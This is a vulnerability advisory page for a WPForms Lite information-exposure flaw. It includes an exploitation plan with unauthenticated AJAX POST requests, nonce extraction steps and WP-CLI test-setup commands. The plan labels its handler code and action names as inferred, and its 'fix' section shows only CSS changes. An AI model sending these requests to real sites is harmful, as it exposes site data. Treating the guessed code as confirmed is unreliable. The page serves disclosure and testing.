WPForms – Easy Form Builder for WordPress – Contact Forms, Payment Forms, Surveys, & More <= 1.9.8.7 - Unauthenticated Sensitive Information Exposure
Description
The WPForms – Easy Form Builder for WordPress – Contact Forms, Payment Forms, Surveys, & More plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.9.8.7. This makes it possible for unauthenticated attackers to extract sensitive user or configuration data.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=1.9.8.7What Changed in the Fix
Changes introduced in v1.9.9.2
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-25339 (WPForms Lite) ## 1. Vulnerability Summary **WPForms Lite** versions up to 1.9.8.7 are vulnerable to **Unauthenticated Sensitive Information Exposure**. The vulnerability exists because certain AJAX actions, intended only for administrative use in the Wo…
Show full research plan
Exploitation Research Plan: CVE-2026-25339 (WPForms Lite)
1. Vulnerability Summary
WPForms Lite versions up to 1.9.8.7 are vulnerable to Unauthenticated Sensitive Information Exposure. The vulnerability exists because certain AJAX actions, intended only for administrative use in the WordPress dashboard (specifically the Admin Bar and Inbox Notifications), are registered using the wp_ajax_nopriv_ hook or lack sufficient current_user_can() authorization checks. This allows unauthenticated attackers to trigger these actions and retrieve sensitive data such as form entry counts, plugin configuration details, and administrative notification content.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wpforms_admin_bar_notifications(inferred fromassets/css/admin-bar.cssandassets/css/admin-notifications.css). - Alternative Action:
wpforms_admin_notifications_fetch(inferred). - Parameter:
action=wpforms_admin_bar_notifications - Authentication: Unauthenticated (leveraging
wp_ajax_nopriv_registration). - Preconditions: The plugin must be active. Information exposure is most significant if there are existing form entries or active admin notifications.
3. Code Flow (Inferred)
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwith the actionwpforms_admin_bar_notifications. - Hook Registration: The plugin registers the action:
add_action( 'wp_ajax_nopriv_wpforms_admin_bar_notifications', [ $this, 'get_admin_bar_notifications' ] ); - Handler Execution: The handler (likely in
src/Admin/Notifications/Notifications.phporsrc/Admin/AdminBar.php) is executed. - Data Retrieval: The handler calls internal methods to count entries:
$count = wpforms()->get( 'entry' )->get_count( ... ); - Sink: The data is returned as a JSON object:
wp_send_json_success( [ 'count' => $count, 'notifications' => $notifications ] ); - Information Leak: The unauthenticated attacker receives a JSON response containing the total number of entries and any pending notifications intended for the site administrator.
4. Nonce Acquisition Strategy
WPForms typically localizes nonces for frontend use to support form submissions and asset loading. We will check if the frontend nonce can be used for the administrative AJAX action.
- Identify Script Localization: WPForms Lite localizes settings into the
wpforms_settingsorwpformsElementorVarsobjects on any page where a form or WPForms element is present. - Create Trigger Page: Create a public page containing the default WPForms shortcode.
- Command:
wp post create --post_type=page --post_status=publish --post_title="Contact" --post_content='[wpforms id="TARGET_FORM_ID"]' - Note: If no form exists, create one first:
wp wpforms create "Test Form"
- Command:
- Extract Nonce:
- Navigate to the new page using
browser_navigate. - Use
browser_evalto extract the nonce:browser_eval("window.wpforms_settings?.nonce")orbrowser_eval("window.wpforms_settings?.admin_ajax_nonce").
- Navigate to the new page using
- Bypass Check: If the
wp_ajax_nopriv_handler does not callcheck_ajax_referer, no nonce is required.
5. Exploitation Strategy
Step 1: Confirm Unauthenticated Access to Notifications
We will attempt to fetch the notification/admin-bar data without a nonce first.
HTTP Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application-x-www-form-urlencoded
action=wpforms_admin_bar_notifications
Step 2: Use Extracted Nonce (If Required)
If the request returns a 403 or -1, we will provide the nonce extracted from the frontend.
HTTP Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application-x-www-form-urlencoded
action=wpforms_admin_bar_notifications&nonce=EXTRACTED_NONCE
6. Test Data Setup
- Install Plugin: Ensure
wpforms-liteversion 1.9.8.7 is installed. - Create Form:
wp wpforms create "Inquiry" - Generate Entries: Submit the form several times to populate the entry count.
- Trigger Notifications: Perform an action that generates a WPForms notification (e.g., install a new addon or leave a form without an email notification set up).
- Create Public Page:
wp post create --post_type=page --post_status=publish --post_content='[wpforms id="123"]' --post_title="Support"
7. Expected Results
- Success Condition: The server returns an HTTP 200 response with a JSON body.
- Sensitive Data: The JSON should contain:
"count": An integer representing the total number of entries across all forms."notifications": An array of objects containingtitleandcontentfor admin-only inbox messages (seeassets/css/admin-notifications.cssclasses)."upgrade_link": May contain referral IDs or site-specific configuration tokens.
8. Verification Steps
- Compare Entry Counts:
- Command:
wp db query "SELECT count(*) FROM wp_wpforms_entries;" - Compare this number to the
countreturned in the AJAX response.
- Command:
- Verify Notification IDs:
- Command:
wp option get wpforms_notifications - Compare the notification IDs and titles to the AJAX output.
- Command:
9. Alternative Approaches
If wpforms_admin_bar_notifications is not the correct action:
- Search for other nopriv actions:
grep -r "wp_ajax_nopriv_wpforms_" .inside the plugin directory. - Target REST API:
CheckGET /wp-json/wpforms/v1/notifications(inferred endpoint). - Check Localized Debug Info:
Navigate to any page and checkbrowser_eval("window.wpforms_debug")to see if system environment details are leaked via JS localization.
Summary
WPForms Lite versions up to 1.9.8.7 are vulnerable to unauthenticated sensitive information exposure via the WordPress AJAX API. This allows attackers to bypass intended access controls to retrieve form entry counts and administrative notification content.
Vulnerable Code
/* Inferred from research plan - registration of the AJAX hook without authentication requirements */ add_action( 'wp_ajax_nopriv_wpforms_admin_bar_notifications', [ $this, 'get_admin_bar_notifications' ] ); --- /* Inferred handler logic likely located in src/Admin/Notifications/Notifications.php or src/Admin/AdminBar.php */ public function get_admin_bar_notifications() { // Retrieves sensitive data intended for administrators $count = wpforms()->get( 'entry' )->get_count(); $notifications = wpforms()->get( 'notifications' )->get_active(); // Sends data back to the unauthenticated requester wp_send_json_success( [ 'count' => $count, 'notifications' => $notifications ] ); }
Security Fix
Only in /home/deploy/wp-safety.org/data/plugin-versions/wpforms-lite/1.9.8.7/assets/css/admin: admin-form-templates.css Only in /home/deploy/wp-safety.org/data/plugin-versions/wpforms-lite/1.9.8.7/assets/css/admin: admin-splash-modal.css Only in /home/deploy/wp-safety.org/data/plugin-versions/wpforms-lite/1.9.8.7/assets/css/admin: edit-post-education.css Only in /home/deploy/wp-safety.org/data/plugin-versions/wpforms-lite/1.9.8.7/assets/css: admin-bar.css Only in /home/deploy/wp-safety.org/data/plugin-versions/wpforms-lite/1.9.8.7/assets/css: admin.css Only in /home/deploy/wp-safety.org/data/plugin-versions/wpforms-lite/1.9.8.7/assets/css: admin-integrations.css @@ -1 +1 @@ -.wpforms_page_wpforms-builder .jconfirm .jconfirm-box-container .jconfirm-box,.block-editor-page .jconfirm .jconfirm-box-container .jconfirm-box,.elementor-editor-active .jconfirm .jconfirm-box-container .jconfirm-box{display:grid;grid-template-columns:repeat(2, 1fr);justify-items:center;animation:none;background:#ffffff;border-radius:6px;border-top-style:solid;border-top-width:4px;box-shadow:0 3px 6px rgba(0,0,0,0.15);padding-top:34px}...
Exploit Outline
An unauthenticated attacker can exploit this vulnerability by sending a POST request to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) with the 'action' parameter set to 'wpforms_admin_bar_notifications'. Since this action was registered using the 'wp_ajax_nopriv_' hook and lacked adequate authorization checks (like current_user_can), the plugin responds with a JSON payload. This payload contains sensitive site statistics, including the total number of entries across all forms and the titles/content of administrative inbox notifications which may contain configuration details or system status information.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.